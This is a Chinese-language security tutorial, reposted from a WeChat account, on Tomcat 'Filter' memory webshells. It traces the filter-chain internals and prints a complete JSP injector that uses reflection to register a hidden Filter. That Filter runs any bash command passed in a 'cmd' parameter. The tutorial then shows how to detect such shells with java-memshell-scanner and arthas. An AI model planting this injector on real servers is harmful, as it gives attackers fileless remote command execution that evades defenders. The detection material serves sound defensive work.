【创宇小课堂】代码审计-Filter内存马

admin 2021年12月10日18:30:50评论117 views字数 7002阅读23分20秒阅读模式




为什么需要内存马


在红蓝对抗或攻防演练中,如果上传的webshell,没有经过加密或者去特征,很容易被防守队员查杀。因此在攻与防的对抗中诞生了内存马,一种无文件落地的webshell技术。




内存马种类


servlet-api类

  • filter型
  • servlet型
  • listener型

spring类
  • 拦截器
  • controller型

Java Instrumentation类
  • agent型

若按照漏洞原理分类,则可以分为反序列化和其他。




Container



Tomcat的Container用于封装和管理Servlet,以处理Request。
在Container容器中包含4个子容器,且存在包含关系,分别是:
容器
实现类
含义
Engine
org.apache.catalina.core.StandardEngine
最顶层容器组件,可以包含多个Host
Host
org.apache.catalina.core.StandardHost
一个Host代表一个虚拟主机,如a.com、b.com,其下可以有多个Context
Context
org.apache.catalina.core.StandardContext
一个Context代表一个Web应用,如/example、/ROOT、/manager,其下可有多个Wrapper
Wrapper
org.apache.catalina.core.StandardWrapper
一个Wrapper通常代表一个Servlet,是对Servlet的封装





Filter配置


Filter有两种配置方式:
  • 注解
  • web.xml
注解
【创宇小课堂】代码审计-Filter内存马

web.xml

<filter>
   <filter-name>filter1</filter-name>

   <filter-class>com.web.Filter.FilterDemo2</filter-class>

</filter>

<filter-mapping>

   <filter-name>filter1</filter-name>

   <url-pattern>/*</url-pattern>

</filter-mapping>


通常采用web.xml的形式,本文也将采用该形式做测试




Filter处理流程中的核心类



核心处理类
类的构成和作用
FilterDefs
存放FilterDef的数组,FilterDef数组中存放过FilterName、URLpattern等基本信息
FilterConfigs
存放FilterConfig的数组,FilterConfig数组中主要存放FilterDef和Filter对象等信息
FilterMaps
存放FilterMap的数组,FilterMap数组中主要存放FilterName和对应的URLpattern
FilterChain
过滤器链,该类的doFilter方法会一次调用链上的Filter
StandardContext
Context接口的标准实现类,一个Context代表一个Web应用
StandardWrapper
Wrapper的标准实现类,一个Wrapper封装一个Servlet
ContextConfig
Context(Web应用)的上下文配置
WebXml
存放Web.xml中的内容





Tomcat的Filter处理流程



通过端点调试的方式,复现一下Tomcat是如何将我们自定义的Filter进行初始化配置并调用的

我们使用debug的方式启动tomcat,并在相应的位置打好断点(看下文中的若干图)
启动tomcat访问,触发任意Filter,开始调试

1、ContextConfig
程序会首先运行到ContextConfig#configureContext,通过该方法解析web.xml然后返回
【创宇小课堂】代码审计-Filter内存马

返回webXmlDefaultFragment
【创宇小课堂】代码审计-Filter内存马

2、StandardWrapperValve

随后进入到StandardWrapperValve中,通过ApplicationFilterFactory.createFilterChain来创建了一个Applicationfilterhain的对象filterChain
【创宇小课堂】代码审计-Filter内存马

跟进该方法,看一下具体的实现逻辑

3、ApplicationFilterFactory
【创宇小课堂】代码审计-Filter内存马

该方法内,首先是对servlet做了非空判断,然后创建ApplicationFilterChain的对象filterChain
【创宇小课堂】代码审计-Filter内存马

然后关键点来了,如上图,调用了wrapper.getParent()获取context(当前web应用),wrapper的来源是通过createFilterChain的第二个参数传递过来的,是在StandardWrapperValve#invoke方法中创建的StandardWrapper标准类
【创宇小课堂】代码审计-Filter内存马

紧接着从context获取FilterMaps
FilterMaps数据结构如下
【创宇小课堂】代码审计-Filter内存马

如我们前面所说,FilterMaps数组中的FilterMap主要存放了过滤器名(FilterName)和拦截的URL(urlPattern)


继续step over,来到了循环遍历FilterMaps


这里的逻辑十分明了,判断filterMap中的URLPattern与请求的路径是否匹配,若匹配则调用context.findFilterConfig,在filterConfigs中寻找对应filterName的FilterConfig,如果filterConfig存在,则添加到filterChain
【创宇小课堂】代码审计-Filter内存马

上述的步骤其实就是判断拦截器与请求路径是否匹配,若匹配则将filterconfig添加到过滤器链(filterChain)中

继续跟进addFilter方法

4、ApplicationFilterChain
【创宇小课堂】代码审计-Filter内存马

在addFilter方法中,首先判断刚刚添加的filterConfig是否存在,若存则直接返回,这一步其实就是防止filter重复

下面的if判断,主要是对filters进行了扩容,然后将扩容后的newFilters赋值给filters
最后一步则是将filterConfig添加到filters中

到此为止,过滤器链已经添加完毕了

接着调试,程序会回到StandardWrapperValue中
【创宇小课堂】代码审计-Filter内存马

调用filterChain的doFilter方法

跟进,跳转到ApplicationFilterChain的doFilter
【创宇小课堂】代码审计-Filter内存马

发现最终会执行doFilter方法中的internalDoFilter方法
【创宇小课堂】代码审计-Filter内存马

方法体如上,首先从filters取出filterConfig

然后从filterConfig中取出filter

最终调用filter.doFilter方法,也就是我们自定义的过滤器的doFilter方法
【创宇小课堂】代码审计-Filter内存马

总结一下
  1. 根据请求的URL从FilterMaps找出与之匹配的Filter
  2. 根据匹配出来的FilterName,从FilterConfigs中寻找名称对应的FilterConfig
  3. 找到对应的FilterConfig,添加到FilterChain
  4. 在FilterChain中调用doFilter,再调用internalDoFilter遍历获取FilterChain中的FilterConfig
  5. 从FilterConfig中获取Filter
  6. 调用Filter的doFilter方法

简单来说,从context获取到FilterMaps后,就会把符合条件的Filter依次调用

我们执行内存马的思路就是:
将自己创建的恶意FilterMap放在FilterMaps的前面,这样当urlpattern匹配的时候,就会去找对应名称的FilterConfig,然后添加到FilterChain,然后执行doFilter,最终触发恶意代码




Filter内存马编写



获取ServletContext转化为StandardContext
过程如下
【创宇小课堂】代码审计-Filter内存马

获取到context后,观察一下它的数据结构
【创宇小课堂】代码审计-Filter内存马

比较关键的三个参数:filterConfigs、filterDefs、filterMaps,含义在最开始已经讲了
创建恶意内存马的思路如下:

  1. 创建一个恶意的Filter
  2. 将Filter封装成FilterDef
  3. 将FilterDef添加到FilterDefs、FilterConfig
  4. 创建一个FilterMaps
  5. 创建一个FilterMap,将FilterName和urlpattern匹配,然后放入filterMaps的最前端,让我们的Fitler最先被执行
完整jsp代码

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>

<%@ page import="org.apache.catalina.core.StandardContext" %>

<%@ page import="java.util.Map" %>

<%@ page import="java.io.IOException" %>

<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>

<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>

<%@ page import="java.lang.reflect.Constructor" %>

<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>

<%@ page import="org.apache.catalina.Context" %>

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%

   final String name = "t4rrega";

   ServletContext servletContext = request.getSession().getServletContext();

   Field appcontext = servletContext.getClass().getDeclaredField("context");

   appcontext.setAccessible(true);

   ApplicationContext applicationContext = (ApplicationContext) appcontext.get(servletContext);

   Field stdcontext = applicationContext.getClass().getDeclaredField("context");

   stdcontext.setAccessible(true);

   StandardContext standardContext = (StandardContext) stdcontext.get(applicationContext);

   Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");

   Configs.setAccessible(true);

   Map filterConfigs = (Map) Configs.get(standardContext);

   if (filterConfigs.get(name) == null){

       Filter filter = new Filter() {

           @Override

           public void init(FilterConfig filterConfig) throws ServletException {

           }

           @Override

           public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

               HttpServletRequest req = (HttpServletRequest) servletRequest;

               if (req.getParameter("cmd") != null){

                   byte[] bytes = new byte[1024];

                   Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();

                   int len = process.getInputStream().read(bytes);

                   servletResponse.getWriter().write(new String(bytes,0,len));

                   process.destroy();

                   return;

               }

               filterChain.doFilter(servletRequest,servletResponse);

           }

           @Override

           public void destroy() {

           }

       };

       

       FilterDef filterDef = new FilterDef();

       filterDef.setFilter(filter);

       filterDef.setFilterName(name);

       filterDef.setFilterClass(filter.getClass().getName());

       standardContext.addFilterDef(filterDef);

       FilterMap filterMap = new FilterMap();

       filterMap.addURLPattern("/*");

       filterMap.setFilterName(name);

       filterMap.setDispatcher(DispatcherType.REQUEST.name());

       standardContext.addFilterMapBefore(filterMap);

       Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);

       constructor.setAccessible(true);

       ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

       filterConfigs.put(name,filterConfig);

       out.print("Injected...");

   }

%>


访问对应的jsp资源,将Filter动态注入到Tomcat
【创宇小课堂】代码审计-Filter内存马

随后通过cmd参数就可以执行任意命令
【创宇小课堂】代码审计-Filter内存马



Filter查杀


主要介绍两款github的项目
  • java-memshell-scanner https://github.com/c0ny1/java-memshell-scanner
  • arthas https://github.com/alibaba/arthas

java-memshell-scanner
【创宇小课堂】代码审计-Filter内存马

检测的原理比较好理解

通过遍历filterMaps中的所有filtermap,让我们自己进行进一步判断
【创宇小课堂】代码审计-Filter内存马

删除则是通过反射调用StandardContext#removeFilterDef方法来处理


arthas


java -jar arthas-boot.jar --telnet-port 8001

选择服务器进程,即org.apache这个
【创宇小课堂】代码审计-Filter内存马

主动排查
利用命令
sc *.Filter
可以检索出所有调用了Filter的类
【创宇小课堂】代码审计-Filter内存马

被动监测
利用命令

watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'

当有Filter触发或攻击者访问内存马时则会显示到控制台

例如访问http://localhost:8082/?cmd=ifconfig
控制台就会捕获到对应信息
【创宇小课堂】代码审计-Filter内存马




总结


内存马技术远不止这些,本文讲解的是Filter型内存马,还需要上传jsp来动态创建恶意的Filter来生效

实际上还有通过反序列化注册Filter的方式,敬请期待。

【创宇小课堂】代码审计-Filter内存马


【创宇小课堂】代码审计-Filter内存马

原文始发于微信公众号(安全宇宙):【创宇小课堂】代码审计-Filter内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月10日18:30:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【创宇小课堂】代码审计-Filter内存马https://cn-sec.com/archives/670037.html

发表评论

匿名网友 填写信息